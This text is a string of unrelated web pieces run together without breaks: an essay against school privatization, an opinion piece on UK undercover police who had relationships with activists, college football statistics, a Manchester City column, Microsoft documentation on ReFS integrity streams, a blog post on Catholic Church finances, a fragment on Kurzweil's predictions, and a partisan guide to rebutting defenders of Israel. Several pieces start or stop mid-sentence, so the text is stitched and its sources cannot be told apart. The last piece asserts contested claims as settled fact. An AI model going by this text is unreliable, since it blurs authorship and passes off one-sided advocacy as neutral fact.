For example, the cynically named No Child Left Behind Act requires that schools spend inordinate amounts of money for testing. The estimated annual direct costs of testing are $400 million. Because of the penalties that schools face for poor test performance, school systems have little choice but to spend even more money for services that are supposed to improve test results. The money spent on these tests of dubious value could easily be spent on more productive activities.
However, from another perspective, this diversion of funds into nonproductive channels is welcome. By deflecting schools from education, the emphasis on testing undermines public education and further fuels those calling for outright privatization.
Given the disastrous conditions of public education for the poor, conservatives piously call for the privatization of education without any suggestion that once they have achieved their goal they would follow up their victory with tax increases sufficient to give the new system a chance to work. Instead, these politicians pretend that the imagined savings supposedly made possible by the supreme managerial efficiency of private business will be more than enough to finance the improvement of education—a promise similar to those once made by advocates of health maintenance organizations.
Other promoters of privatized education relish a tactical opportunity to create a divide between blacks and teachers’ unions, whose members reliably vote Democratic. In an answer to the question: “What do you look for in an issue to go after or to recommend to the Republican Party to pursue?” Grover Norquist, head of Americans for Tax Reform and one of the most influential Republican strategists in Washington, responded:
Does it divide the left? School choice reaches right into the heart of the Democratic coalition and takes people out of it. It divides the left because the teachers’ unions are on one side and all the parents of poor children are on the other and it makes Bill Clinton choose between poor parents and teachers’ unions.
Barbara Miner cited a number of other right-wing leaders and organizations who echoed Norquist’s sentiments, including Terry Moe, a senior fellow at the conservative Hoover Institution and coauthor of the book, Politics, Markets, and America’s Schools:
[The issue comes down to] a matter of power….[The National Educational Association and American Federation of Teachers] have a lot of money for campaign contributions and for lobbying….They also have a lot of electoral clout because they have many activists out in the trenches in every political district….No other group can claim this kind of geographically uniform political activity. They are everywhere. [School vouchers are a way to diminish that power.] School choice allows children and money to leave the system, and that means there will be fewer public teacher jobs, lower union membership, and lower dues.
Not surprisingly, “conservative foundations that also support taxpayer funded vouchers for private school students and charter schools operated independently of traditional school district supervision” have begun to fund rival teacher’s organizations, such as the Alabama Conference of Educators.
Supporters of the privatization of education insist that school vouchers that allow students to purchase education in the free market will eliminate the inequities in education. However, if the right-wing gambit to finance education through vouchers succeeds, the debate will quickly shift. The first step will be to make vouchers means tested, meaning that people earning above a certain income will no longer be eligible. In the process, education will become redefined as an entitlement, like other welfare programs. Programs for the poor inevitably become poor programs. Soon, taxpayers will protest having to subsidize the undeserving; they will demand that schools eliminate their “frills.” The outcome will be that the politicians will relieve the rich of much of the tax obligation of supporting education, while the poor will see their educational opportunities degrade even further.
Privatization will add to the profits of corporations that fund the conservative initiatives, while, as Grover Norquist and Terry Moe have noted, dividing those who suffer most under the current system from the teachers’ unions. Teachers’ unions oppose privatization of education on several grounds. They question that the state will be able to monitor and control the quality of private education. Private providers will have the advantage of being able to cherry pick by excluding difficult students or students with special needs. Because public education will have to service most of the physically and emotionally disabled students, they will have difficulty matching the results of the private providers, unless the latter prove to be absolutely incompetent. Finally, even though schoolteachers are already underpaid, private providers will be freed from union contracts and will be able to make employment conditions much less favorable. For service workers, such as custodians, the switch to private employers will be even harsher.
When teachers’ unions highlight how teachers will suffer economically with these changes, the right wing portrays teachers as just another special interest group, who put their own selfish needs ahead of those of the poor, especially black, students in their care. Teachers, of course, bear little responsibility for the inequities of the public school system, but the right wing has been very effective in painting teachers’ unions as public enemies. The rhetoric has become so heated that on February 23, 2004, Secretary of Education Rod Paige actually went so far as to call the teachers’ National Education Association a “terrorist organization.”
Lost in these debates is the sad fact that no major political party seems ready to come to the aid of public education, which has long been a mainstay of the U.S. economy. The economic effects of privatization will not be felt immediately. Over time, however, as a larger share of the workforce suffers the handicap of inferior education, the negative effect on all aspects of society will be unmistakable.
NotesImagine the scenario. You meet someone and, from the outset, the attraction is mutual: silently shared smiles, lingering glances. You bond over shared interests and worldviews, and exchange telephone numbers. You start sleeping together and – as your pulse quickens every time the phone rings – you realise you are falling for each other. Days are spent together, walking in parks, trips to the cinema, romantic meals; time apart becomes difficult. Eventually, your partner moves in, and for years you share everything. Maybe you even have a child together. Then – suddenly – they appear depressed and become distant. One day, they are gone, leaving only an apologetic note on the kitchen table. You then discover everything you knew about them was false. They have invented a fake identity; their backstory, opinions, entire life, all a lie. They are undercover police officers, and were sent to spy on you and your friends.
It sounds like a dystopian fantasy belonging in the Stasi archives of former East Germany. But this is the experience of several British women who are pursuing a civil case against the Metropolitan police. Last week, the Crown Prosecution Service ruled that four undercover police officers who spied on activists would not face sexual offence charges, including rape, sexual assault, sexual intercourse by false pretences, as well as misconduct in public office. These women consented to sleeping with men they believed were fellow activists, not police officers spying on them – and yet the CPS believes there is “insufficient evidence” for a prosecution.
What we are witnessing must surely be a stitch-up over what the women believe amounts to being raped by the state. The phone-hacking scandal rightly provoked widespread condemnation on the grounds that it was an impermissible violation of privacy. But what about police officers who share their lives with women, have sex with them, and – in at least two cases – fathered children with them? No wonder one of the women involved describes the practice in chilling terms as “body-hacking”. The difference is, of course, that the women involved are activists fighting for environmental and social justice: the sort of people who enjoy very little sympathy from those with power and influence.
The response of the authorities is riddled with contradictions. The CPS might have judged that there is not enough evidence to charge the police officers with misconduct in public office. But Jon Murphy – the Association of Chief Police Officers’ spokesman who deals with undercover operations – has claimed such relationships are not permitted “under any circumstances” and amount to “grossly unprofessional” behaviour.
The Metropolitan police commissioner, Sir Bernard Hogan-Howe, taking another tack, claimed sex with activists was not “part of the strategy” but was simply inevitable. And Nick Herbert – a former Home Office minister – declared in the Commons in 2012 that sex with members of “the group targeted” could be permitted. But surely allegations of rape and sexual assault should be treated seriously, and if individual officers are not even charged with misconduct in a public office, then the focus should move on to those employing them to spy undercover.
One of the women involved tells me that, in a sense, she is conflicted about the CPS judgment. On one hand, if the officers had faced charges, it would have drawn “a very clear line in the sand”, deterring future officers from having sex under false pretences on the basis that a rape charge could await them. But her understandable fear is that the individual could take the flak, leading to the conclusion that the institution is clean. Rather than being treated as a systemic problem, a defence of individual misconduct – of a few “bad eggs” acting beyond orders – could be used instead. It is certainly fanciful to imagine that undercover police officers’ handlers were unaware of long-term relationships being established with activists they were spying on.
There are real grounds for believing the CPS has its own reasons for wanting to move on from this scandal. There are those who suspect that the CPS is itself implicated. In 2011, Guardian investigative journalists Rob Evans and Paul Lewis covered a case in which the CPS used tapes recorded by police officer Mark Kennedy – who spent seven years masquerading as an environmental campaigner – in a prosecution which had to be abandoned, as a result of the tapes being suppressed, not disclosed to lawyers for the accused. The CPS hired Sir Christopher Rose – the chief surveillance commissioner – to investigate the claims, leading him to conclude that only one junior prosecutor in the East Midlands was involved. But a 2012 Independent Police Complaints Commission report revealed emails suggesting that very senior prosecutors in London knew about Kennedy’s evidence.
In March 2014 the home secretary, Theresa May, announced a public inquiry into undercover police officers after revelations that the family of Stephen Lawrence had been spied on by the Met. Its remit must surely include examining the role of the CPS. One of the women has voiced a concern that the public inquiry will concentrate above all else on the horrifying appropriation by undercover police officers of the identities of dead children; another concern is that only the Special Demonstration Squad, a murky unit that existed between 1968 and 2008, will be examined.
In the meantime, the women are suing the Met for emotional trauma. Alison is one of the women: she had a five-year relationship with Mark Jenner, who lived with her for four years. “I thought it was one of the best relationships in my life,” she tells me. “In a matter of weeks after he left, it turned into one of the worst nightmares. I had been living with him, sharing a life with him, and thought I had a future with him: it all just dissolved.” But the women are survivors and fighters, not victims. “The irony is they’ve thrown together some of the most able, most passionate, brightest activists in one group,” she says.
This case will not attract the attention of the supposed rightwing libertarians who rail against state intrusion into the lives of the individual. These inspiring and courageous women are up against a highly resourced state that looks after its own. They deserve support and solidarity. As they are aware, this is not simply about their own traumas. It would be naive to imagine that the police – institutionally averse as they are to dissent – are not spying on those they regard as troublemakers as well as alleged terrorists. Other opponents of the status quo could today be forming relationships, sharing lives and beds with those spying on them. That is why this institutional conspiracy must be confronted head-on.
• This article was amended on 25 August 2014. Due to a subbing error the original article stated that Alison, one of the women suing the Met for emotional trauma, had a relationship with Mark Kennedy, which was not the case.Icon SMI
Marcus Mariota and Bryce Petty have racked up points and stats all season.Oregon and Baylor will each try to remain undefeated on Thursday night. Below are 15 need-to-know stats in preparation for their games.
1-- Baylor is averaging an FBS-high 63.9 points and 718.4 yards per game. The Bears are on pace to break the FBS records for points (56.0) and yards (624.9) per game that were set by Army in 1944 and Houston in 1989, respectively
2-- Oregon has scored at least 42 points in each of its first eight games this season. The Ducks are the fourth team in the last 100 years to start a season with at least 42 points in eight straight games.
3-- Baylor has scored 22 touchdowns in drives lasting one minute or less, eight more than any other FBS team this season. In the last 10 seasons, there have only been six teams that have scored more than 22 touchdowns in one minute or less in an entire season.
4-- Oregon has an FBS-high 59 offensive touchdowns, including 41 in two minutes or less. The Ducks’ 41 touchdown drives in two minutes or less is four fewer than all of last season when they led the FBS with 45 such touchdowns.
5-- Baylor is averaging more points in the first half (42.1) than 115 FBS teams average for a game. In the first half, the Bears average a FBS-low 15.9 seconds per play and their average touchdown drive lasts 1 minute, 19 seconds.
6-- Oregon quarterback Marcus Mariota has thrown an FBS-high 225 pass attempts without an interception this season. Dating back to last season, Mariota has thrown a Pac-12-record 293 passes without an interception.
Petty Throws of 25+ Yards
This Season
7-- Baylor quarterback Bryce Petty is averaging 13.9 yards per pass attempt, on pace to be the highest rate for a qualified quarterback in the last 10 seasons. The deep ball has been key for Petty. He has 19 completions and 10 touchdowns (both the most of anyone in an automatic-qualifier conference) on passes thrown 25 yards or longer.
8-- Oregon averages an AQ-high 7.5 yards per rush on zone-read plays, including 5.2 yards before first contact. On such plays, Mariota is averaging 13.7 yards per rush and has six touchdowns.
9--Petty leads the FBS with a 95.3 opponent-adjusted QBR. The leader in opponent-adjusted QBR in three of the last six seasons went on to win the Heisman, including Johnny Manziel last year.
10-- Oregon is the only team in the FBS that ranks in the top five in ESPN’s new offensive and defensive efficiency. The Ducks have ranked in the top five in offensive efficiency each of the last three seasons.
Highest Offensive Efficiency
In Completed Season (Since 2004)
11-- Baylor is on pace to have the highest offensive efficiency in the last 10 years. Offensive efficiency measures an offense’s contributions to its team’s opponent-adjusted scoring margin per game.
Through seven games, Baylor’s offense is adding about seven more expected points towards its net scoring margin, more than any other offense has for an entire season since 2004 (as far back as our data goes).
12-- Oregon quarterback Mariota has posted a Total QBR of 90 or higher in six of his eight games, tied with Petty for the most such games in the FBS.
13-- Baylor running back Lache Seastrunk is averaging 9.1 yards per rush, second in the FBS behind Mariota. Seastrunk has made it at least five yards past the line of scrimmage before first contact on 39 percent of his rushes, the highest percentage among AQ running backs with at least 75 carries.
14-- Oregon has forced 23 turnovers and scored 100 points off of its opponents’ turnovers this season. Since the start of last season, Oregon leads the FBS with 63 takeaways and ranks second with 288 points off turnovers.
15-- Baylor has had an average in-game win probability of 86 percent across all of its plays this season, best in the FBS. Oregon ranks third with an 83 percent average in-game win probability.Begiristain is just doing his job, as is chief executive Ferran Soriano and the rest of the club in building such a fine academy, the incredible Etihad Campus, infrastructure and a successful football team and club. It should be no concern to the players what goes on behind the scenes. Their concern is making sure they are part of it in the future by winning matches, doing enough to impress Guardiola and showing that they deserve to remain at the club. If that is what they want.
Pellegrini is going so if they have any regard for him then the players should be busting a gut to finish this season as strongly as possible. They will know that Guardiola is watching their matches even more closely.
But it is not just about the Guardiola announcement. Between Crystal Palace at Selhurst Park on Sept 12 and Watford on January 2 City did not win an away league match. That is almost four months. They have won only one since – the Sunderland game - and have not racked up successive league victories since October.
City should be winning the title. With Chelsea’s implosion, Arsenal’s weakness and Manchester United’s chaos they should be streets ahead by now with the squad they possess. They won their first five games in the league, conceding only one goal, and were plainly the team to beat. I wrote that it was their championship to lose and they now appear to be losing it.
After Kiev, City host Manchester United at the Etihad Stadium on Sunday. They have two matches to get their campaign back on track, or at least build momentum for the run-in. It is the minimum that can now be expected from a team that has underachieved so badly this season and players who should be in for a rude awakening this summer when Guardiola finally stands in front of them.
Walcott speaks too soon - again
The problem with Theo Walcott revealing after the 4-0 FA Cup replay victory over Hull City that Arsenal's players held a crisis meeting to try to get their season back on track is that you cannot then go and lose at home to Watford. OK, the Hull game ended a run of five matches without a win but it was a victory over a Championship club, whose priority is promotion and who made seven changes to Arsenal’s six.ReFS integrity streams
3 minutes to read
Contributors
In this article
Applies to: Windows Server 2019, Windows Server 2016, Windows Server 2012 R2, Windows Server 2012, Windows Server (Semi-Annual Channel), Windows 10
Integrity streams is an optional feature in ReFS that validates and maintains data integrity using checksums. While ReFS always uses checksums for metadata, ReFS doesn't, by default, generate or validate checksums for file data. Integrity streams is an optional feature that allows users to utilize checksums for file data. When integrity streams are enabled, ReFS can clearly determine if data is valid or corrupt. Additionally, ReFS and Storage Spaces can jointly correct corrupt metadata and data automatically.
How it works
Integrity streams can be enabled for individual files, directories, or the entire volume, and integrity stream settings can be toggled at any time. Additionally, integrity stream settings for files and directories are inherited from their parent directories.
Once integrity streams is enabled, ReFS will create and maintain a checksum for the specified file(s) in that file's metadata. This checksum allows ReFS to validate the integrity of the data before accessing it. Before returning any data that has integrity streams enabled, ReFS will first calculate its checksum:
Then, this checksum is compared to the checksum contained in the file metadata. If the checksums match, then the data is marked as valid and returned to the user. If the checksums don't match, then the data is corrupt. The resiliency of the volume determines how ReFS responds to corruptions:
If ReFS is mounted on a non-resilient simple space or a bare drive, ReFS will return an error to the user without returning the corrupted data.
If ReFS is mounted on a resilient mirror or parity space, ReFS will attempt to correct the corruption. If the attempt is successful, ReFS will apply a corrective write to restore the integrity of the data, and it will return the valid data to the application. The application remains unaware of any corruptions. If the attempt is unsuccessful, ReFS will return an error.
ReFS will record all corruptions in the System Event Log, and the log will reflect whether the corruptions were fixed.
Performance
Though integrity streams provides greater data integrity for the system, it also incurs a performance cost. There are a couple different reasons for this:
If integrity streams are enabled, all write operations become allocate-on-write operations. Though this avoids any read-modify-write bottlenecks since ReFS doesn't need to read or modify any existing data, file data frequently becomes fragmented, which delays reads.
Depending on the workload and underlying storage of the system, the computational cost of computing and validating the checksum can cause IO latency to increase.
Because integrity streams carries a performance cost, we recommend leaving integrity streams disabled on performance sensitive systems.
Integrity scrubber
As described above, ReFS will automatically validate data integrity before accessing any data. ReFS also uses a background scrubber, which enables ReFS to validate infrequently accessed data. This scrubber periodically scans the volume, identifies latent corruptions, and proactively triggers a repair of any corrupt data.
Note The data integrity scrubber can only validate file data for files where integrity streams is enabled.
By default, the scrubber runs every four weeks, though this interval can be configured within Task Scheduler under Microsoft\Windows\Data Integrity Scan.
Examples
To monitor and change the file data integrity settings, ReFS uses the Get-FileIntegrity and Set-FileIntegrity cmdlets.
Get-FileIntegrity
To see if integrity streams is enabled for file data, use the Get-FileIntegrity cmdlet.
PS C:\> Get-FileIntegrity -FileName 'C:\Docs\TextDocument.txt'
You can also use the Get-Item cmdlet to get the integrity stream settings for all the files in a specified directory.
PS C:\> Get-Item -Path 'C:\Docs\*' | Get-FileIntegrity
Set-FileIntegrity
To enable/disable integrity streams for file data, use the Set-FileIntegrity cmdlet.
PS C:\> Set-FileIntegrity -FileName 'H:\Docs\TextDocument.txt' -Enable $True
You can also use the Get-Item cmdlet to set the integrity stream settings for all the files in a specified folder.
PS C:\> Get-Item -Path 'H\Docs\*' | Set-FileIntegrity -Enable $True
The Set-FileIntegrity cmdlet can also be used on volumes and directories directly.
PS C:\> Set-FileIntegrity H:\ -Enable $True PS C:\> Set-FileIntegrity H:\Docs -Enable $True
See alsoThe Economist has attempted to paint a picture of what the Catholic Church’s finances look like, especially in light of the sexual abuse scandals. I’ll admit it. I may have salivated a bit at this paragraph:
By studying court documents in bankruptcy cases, examining public records, requesting documents from local, state and federal governments, as well as talking to priests and bishops confidentially, The Economist has sought to quantify the damage.
They estimate that the church spends about $171,600,000,000 a year. Not a typo.
The Economist estimates that annual spending by the church and entities owned by the church was around $170 billion in 2010 (the church does not release such figures). We think 57% of this goes on health-care networks, followed by 28% on colleges, with parish and diocesan day-to-day operations accounting for just 6% and national charitable activities just 2.7% (see chart). In total, Catholic institutions employ over 1m people, reckons Fred Gluck, a former McKinsey managing partner and co-founder of the National Leadership Roundtable on Church Management, a lay organisation seeking to improve the way the church is run. For purposes of secular comparison, in 2010 General Electric’s revenue was $150 billion and Walmart employed roughly 2m people.
Wow. You knew the Church had money… but that much?!
Where does it all come from? Offering plates, donations, tuition money, Medicare/Medicaid payments, and other investments.
I thought that the sexual abuse scandal payouts would at least put a dent in their budget. Turns out it’s only a small fraction of it and most of the payments are made by local dioceses and not the Vatican:
more than $3.3 billion of settlements over the past 15 years, $1.3 billion of that in California. The total is likely to increase as more states follow California and Delaware in relaxing the statute of limitations on these crimes, most of which were reported long after they happened. For an organisation with revenues of $170 billion that might seem manageable. But settlements are made by individual dioceses and religious orders, whose pockets are less deep than those of the church as a whole.
One of the consequences of the dioceses paying these costs is that some of them have gone out of business and more will likely follow:
Over the past eight years, a combination of these stresses has driven eight dioceses (including San Diego, Tucson |
own self assessment of either 102 out of 108 or 127 out of 147 correct (with caveats that "even the predictions that were considered 'wrong' in this report were not all wrong"). And consistently, slightly more than 10% of his predictions are judged "impossible to decide".
As I've said before, these were not binary yes/no predictions - even a true rate of 30% is much higher that than chance. So Kurzweil remains an acceptable prognosticator, with very poor self-assessment.Here are ten popular arguments Zionists use to defend Israel's crimes against the Palestinians and how to answer them effectively.
If you’re active in the struggle for peace and justice in the Middle East, you’ve no doubt frequently encountered Zionists who defend Israel’s crimes against the Palestinians. You’re familiar with many of their talking points, and maybe you know how to answer many or most of them. Here are ten you’ve likely encountered, but perhaps didn’t know quite how to debate effectively–until now!
1. The Palestinian refugee problem is an unfortunate result of the Arab states launching a war of aggression in 1948 to wipe Israel off the map.
There are two principle fallacies in this argument:
One, it was not simply that Palestinians fled war. Many did flee, but this was encouraged by the Zionist forces, which also directly expelled many civilians from their homes and destroyed their villages so they could never return. It was the intent of the Zionists to ethnically cleanse Palestine of most of its Arab population in order for the demographically “Jewish state” of Israel to be established. Indeed, cleansing Palestine of Arabs was a prerequisite for this state to be created. This is why Israel refused to allow those refugees to return.
Two, this argument assumes that the Zionists’ unilateral declaration of the existence of Israel on May 14, 1948, was legitimate. It wasn’t. The Zionists had neither any legal nor moral authority to declare sovereignty over a land in which they were a minority and of which they owned only about 7 percent. While they cited UN Resolution 181 (the “partition plan” resolution) as granting such authority, in fact, this resolution neither partitioned Palestine nor conferred any legal authority to the Zionists for their unilateral declaration.
“Benny Morris’s Untenable Denial of the Ethnic Cleansing of Palestine”
Obstacle to Peace: The US Role in the Israeli-Palestinian Conflict Fully arm yourself with the knowledge to defeat this Zionist hasbara (i.e., propaganda) by reading: In Obstacle to Peace, see specifically: Chapter 1, Subchapter “UN General Assembly Resolution 181”
Chapter 2, Subchapter “Resolution 194”
Chapter 9, Subchapter “The Bias of the New York Times”
2. Israel has a right to exist.
No state has a “right to exist”. This concept is a propaganda device invented by the US and Israel for a reason that will become clear momentarily.
One might be tempted to answer this argument with: “Well, Palestine has a right to exist, too!” But this is not the proper response!
Political entities defined by lines on maps do not have rights, individuals do. The proper framework for discussion is the right to self-determination. And it is manifestly Israel that has denied that right to the Palestinians since its founding (and indeed, by the Zionists even before Israel’s founding), and not vice versa.
The necessity of redefining the framework for discussion thus becomes obvious. To say that Israel has a “right to exist” is effectively to assert that the Zionists’ unilateral declaration of Israel’s existence and the ethnic cleansing by which Israel actually came into being were legitimate. Needless to say, these were not legitimate actions on the part of the Zionists.
For further discussion and specific examples of how this Zionist hasbara has been used to deny the equal rights of the Palestinians, see the index entry “Israel: ‘right to exist'” in Obstacle to Peace.
3. In 1967, Israel acted in self-defense by launching a preemptive attack on Egypt.
Israel’s attack on Egypt on the morning of June 5, 1967 — the event that started the “Six Day War” — was not preemptive.
Zionists will argue that Nasser’s threats, Egypt’s closing of the Straits of Tiran and Suez Canal to Israeli shipping, its movement of troops into the Sinai Peninsula, and its expelling of the United Nations Emergency Force (UNEF) all essentially amounted to acts of war.
However, none of these actions constituted aggression under international law.
Egypt’s perspective was that the straits and Suez Canal were its territorial waterways so it had a right to deny passage to an enemy state that had already attacked it once, in 1956 (when Israel conspired with Britain and France to launch a war of aggression against Egypt). While legal scholars may debate the legitimacy of that point of view, the fact is that Israel had peaceful means available to it to seek redress for this grievance against Egypt. It did not, under international law, constitute a casus belli (justification for war).
Nasser wanted the UN peacekeeping force gone because he was being accused by Syria and Jordan of hiding behind it. His bellicose rhetoric was about saving face but was just that: rhetoric. The proposal was made to restation UNEF on Israel’s side of the border, but, instructively, Israel rejected this proposal.
Furthermore, the CIA observed that Egypt’s troops took up defensive positions in the Sinai, and Israel’s own intelligence assessed that Israel was under no threat of attack from Egypt.
In 1982, Israeli Prime Minister Menachem Begin acknowledged, “In June 1967 we again had a choice. The Egyptian army concentrations in the Sinai approaches do not prove that Nasser was really about to attack us. We must be honest with ourselves. We decided to attack him.”
Under international law, Israel’s attack on Egypt constituted aggression, defined at Nuremberg as “the supreme international crime”.
4. UN Resolution 242 did not require Israel to fully withdraw from the territories it occupied in 1967.
This is a lie. Unfortunately, it is very effective Zionist hasbara and is widely believed even by supporters of Palestinians’ rights.
There are three main components of the Zionist argument:
The absence of the article “the” before the words “territories occupied” in sub-paragraph (i) of the first operative paragraph of this Security Council resolution means only a partial withdrawal was required. Sub-paragraph (ii) requires that “secure and recognized borders” be established before Israel is required to withdraw. Officials responsible for creating and passing Resolution 242, like Lord Caradon (UK) and Arthur Goldberg (US) have said it did not require a full withdrawal.
Briefly, here are the flaws in these arguments:
First of all, this is nonsense even on its face: the resolution does not say Israel must withdraw from “the territories occupied” so we must understand it to mean Israel must withdraw from only “some territories occupied”? This self-defeating Zionist logic is prima facie nonsense.
In truth, the absence of the article has no effect on the meaning of the resolution inasmuch as the extent of withdraw is concerned. It calls for the withdrawal of Israeli forces “from territories occupied”, plural. The Syrian Golan Heights, the Egyptian Sinai, and the Palestinian territories of the Gaza Strip and West Bank are all “territories occupied” during the 1967 war and thus territories from which Israel was required to withdraw under the clear and unambiguous wording of Resolution 242.
In fact, the preambulatory section of the resolution emphasized the principle of international law that the acquisition of territory by war is inadmissible — and it is in the context of that emphasized principle that the resolution’s call for Israeli withdrawal must be understood.
As for sub-paragraph (ii), while it does call for the establishment of “secure and recognized borders”, it does not establish this as a precondition for the withdraw of Israeli forces. It says “both” Israeli withdrawal and establishment of such borders are required, conditioning neither one upon the other. It was not the Security Council’s intent that a people whose land was occupied be required to negotiate with the occupier over where to draw the border.
Zionists claim otherwise, but to do so, they quote Caradon and Goldberg from years after the resolution’s passage. But, first, UN resolutions are not open to unilateral interpretation, but must be understand according to the will of the Security Council as a whole; and, second, the relevant documentary record for understanding the will of the Council is from prior to and up until the resolution’s adoption.
And turning to that documentary record, it is absolutely clear that the Security Council was explicit and unanimous that Resolution 242 required Israel to return to the lines it held prior to June 5, 1967.
For a fuller discussion of the factual and logical errors of this Zionist hasbara, see Chapter 3, Subchapter “Resolution 242” in Obstacle to Peace
5. The Palestinians have rejected every generous offer from Israel to have a state of their own.
This argument assumes that Israel accepts the two-state solution and had made generous concessions in each of those “offers”, such as that made at Camp David in 2000. Those assumptions are absolutely false.
In fact, every single concession made during each of the “offers” in question — throughout the entire so-called “peace process” — was demanded or made by the Palestinians.
This Zionist hasbara, frequently propagated by US government officials and media commentators, simply frames the discussion in terms of what Israel wants rather than what it has a right to under international law.
Zionists say things like, “Israel offered the Palestinians a state in 95 percent of the West Bank at Camp David”. First of all, this is false. Israel started out demanding to annex 12 percent of the West Bank, and by the end of the talks was still demanding 9 percent. Second, none of this land was Israel’s to give. Under international law, every inch of it is recognized as “occupied Palestinian territory”. So translated into meaningful terms, we see arguments like the above equate that Israel “offered” to take only 5 percent (really 9 percent) of the Palestinians’ land.
Furthermore, these demands to annex Palestinian territory were accompanied with other unreasonable demands, such as dividing the West Bank into Bantustan-like enclaves with Jewish-only highways connecting illegally constructed Israeli settlements and Israeli military control over Palestine’s borders and airspace. In other words, Israel demanded that the Palestinians surrender more of their land, rights, and sovereignty.
If a thief steals a $100 from you and then says he will give you back $91 if you agree to certain other demands requiring you to surrender your rights, would you describe it as a “generous offer” or a “concession”?
The truth is that while the Palestinian leadership has accepted the two-state solution since the late 1980s, Israel has always rejected it. In fact, the US-led so-called “peace process” is in reality the process by which Israel and its superpower benefactor have long blocked implementation of the two-state solution.
To arm yourself with the knowledge to defeat this Zionist hasbara, see especially Chapter 2, “The ‘Peace Process'”, from Obstacle to Peace
6. Israel’s blockade of the Gaza Strip is legal — the UN has said so.
Actually, the UN has repeatedly affirmed the illegality of Israel’s blockade, which amounts to a policy of collective punishment in violation of international law. This criminal policy has been condemned by numerous UN bodies; the International Committee of the Red Cross (ICRC); and numerous international human rights organizations, including Human Rights Watch, Amnesty International, and the Israeli rights groups B’Tselem and Gisha. This blockade continues in violation of UN Security Council Resolution 1860, which called on Israel to end it.
So what are Zionists talking about when they claim the UN has said Israel’s blockade is legal?
They are talking about a report commissioned by UN Secretary General Ban Ki-moon known as the “Palmer Report”. It’s true that this report expressed the opinion of its two chairmembers that Israel’s naval blockade was legal. But what Zionists don’t tell you is that they also noted in their report itself that this conclusion of theirs went beyond their mandate and that they had no authority to offer their legal opinion.
Furthermore, the arguments they employed to arrive at their conclusion were riddled with factual and logical errors. Essentially, they employed circular reasoning by adopting the conclusion as their premise: in short, they argued that the naval blockade was legal because it was not a policy of collective punishment. In fact, they went to great lengths to avoid inquiring whether the blockade constituted collective punishment under international law, and they resorted to demonstrable misrepresentations of what international law actually has to say in an effort to sustain their expressed opinion.
So why would they do that? Well, they stated the reason in their report: their mandate was not to inquire into the legality of the blockade, but the political objective of allowing Israel and Turkey to put the Mavi Marmara incident behind them.
That was the incident in May 2010 in which Israeli forces attacked the humanitarian “Freedom Flotilla” — which was seeking to break Israel’s illegal blockade and draw the world’s attention to it — in international waters and murdered nine Turkish activists on board.
Ban Ki-moon charged them with helping these two states to reconcile. Had they affirmed the international consensus that Israel’s blockade was illegal, it would have undermined their political objective. So they expressed the opinion it was not as a predetermined conclusion and then proceeded to manipulate the facts and employ fallacious reasoning to support it.
For more on Ban Ki-moon’s duplicitous role as UN Secretary-General, see “ Ban Ki-moon’s Complicity in Israel’s Occupation and War Crimes “. For a thorough debunking of the Palmer Report, see Chapter 9, Subchapter “The Palmer Report” in Obstacle to Peace. For more about Israel’s criminal assault on the Mavi Marmara and how to answer the arguments of those who try to defend it, see Chapter 7, “Murder on the High Seas”.
7. Israel launched “Operation Cast Lead” only after thousands of rockets had been fired at Israeli towns from Gaza.
This Zionist hasbara — frequently parroted by the US government and mainstream media — is deceit by omission. It’s true that in the years prior to Israel’s 2008-09 “Operation Cast Lead” thousands of rockets were fired at Israel from Gaza — and indiscriminate rocket attacks on Israeli population centers are certainly war crimes. However, what the Zionists don’t tell you is that on June 19, Israel and Hamas entered into a ceasefire agreement that was repeatedly violated not by Hamas, but Israel.
The New York Times actually reported on the most serious of those Israeli violations on the day it occurred (November 4, 2008), but thereafter tossed this fact down the memory hole. Subsequently, when it referred to the ceasefire, it merely said that it “broke down” without stating the reason why: because it was violated by Israel. More frequently, that there had even been a ceasefire — much less that it was not Hamas but Israel who violated it — was completely omitted, replaced by a false narrative in which Israel was acting in self defense against Hamas rocket attacks.
As illustrated by Operation Cast Lead, it is a modus operandi of Israel’s to take actions to attempt to provoke a violent response from Palestinian militants in order to create pretexts for its own resorts to its own violence, which occurs on an incomparably greater scale.
8. Palestinian civilians were only killed during operations like “Cast Lead” because they were being used by Hamas as human shields.
This is a lie. The truth is that Israel engaged in deliberately disproportionate use of force during its 2008-09 (Operation Cast Lead), 2012 (Operation Pillar of Defense), and 2014 (Operation Protective Edge) assaults on Gaza. In fact, it openly declared its intention to commit what amount to war crimes with its so-called “Dahiya Doctrine” — a reference to the flattening of the Dahiya district of Beirut in 2006 to punish the civilian population.
To take the example of Operation Cast Lead, Israel’s war crimes are well documented and incontrovertible. It deliberately targeted the civilian infrastructure for destruction as part of a policy of punishing the people of Gaza, and the IDF routinely used indiscriminate force, such as attacks on UN schools being used as shelters, hospitals, and residential homes.
In fact, there is not a single documented case of a Palestinian civilian killed during Operation Cast Lead who was being used by Hamas at the time as a human shield.
This might seem like a shocking truth, given the US mainstream media’s mindless repetition of the IDF’s own propaganda about civilians dying only because Hamas was using them as human shields, but this operation has been extensively investigated by human rights organizations and the UN, all of which investigations have concluded that there is no evidence to support Israel’s claimed justifications for killing civilians.
On the other hand, these investigations did conclude that Israeli forces used Palestinian civilians as human shields during Operation Cast Lead, such as forcing children to walk in front of them as they cleared homes.
Chapter 1, Subchapter “The Collapse of the Ceasefire”
Chapter 2, “‘Operation Cast Lead'”
Chapter 4, Subchapter “‘The Most Moral Army in the World'”
Chapter 5, “The Goldstone Report”
Chapter 6, Subchapter “Israel’s ‘Cast Lead’ Self-Exoneration: Update”
Chapter 7, Subchapter “Israel’s ‘Cast Lead’ Self-Exoneration: Second Update” For the full details of what really happened before and during Operation Cast Lead, see Obstacle to Peace, especially:
9. The finding of the UN “Goldstone Report” that Israel committed war crimes during Operation Cast Lead has been debunked.
This is a lie. What Zionist apologists for Israeli war crimes are referring to, specifically, when they make this claim is an op-ed by one of the four chairs of the UN Fact-Finding Mission on the Gaza Conflict, Justice Richard Goldstone.
The so-called Goldstone Report did indeed conclude that both Israel and Hamas committed war crimes — and these conclusions still stand.
For his part in that report, Goldstone came under intense pressure and heavy criticism from Zionists, including threats to protest outside of and bar him from attending his grandon’s bar mitzvah. His op-ed was a transparent attempt to appease his Zionist detractors. But further than that, it was a disgraceful betrayal of truth and justice, as Goldstone outright lied about the UN report’s findings in his attempt at appeasement.
The occasion for Goldstone’s betrayal was the report of a follow-up UN committee charged with inquiring into the credibility of Hamas’s and Israel’s self-investigations into the allegations of war crimes. In this context, Goldstone wrote that had the UN Fact-Finding Mission known then what was now known, it would not have arrived at the conclusions it did.
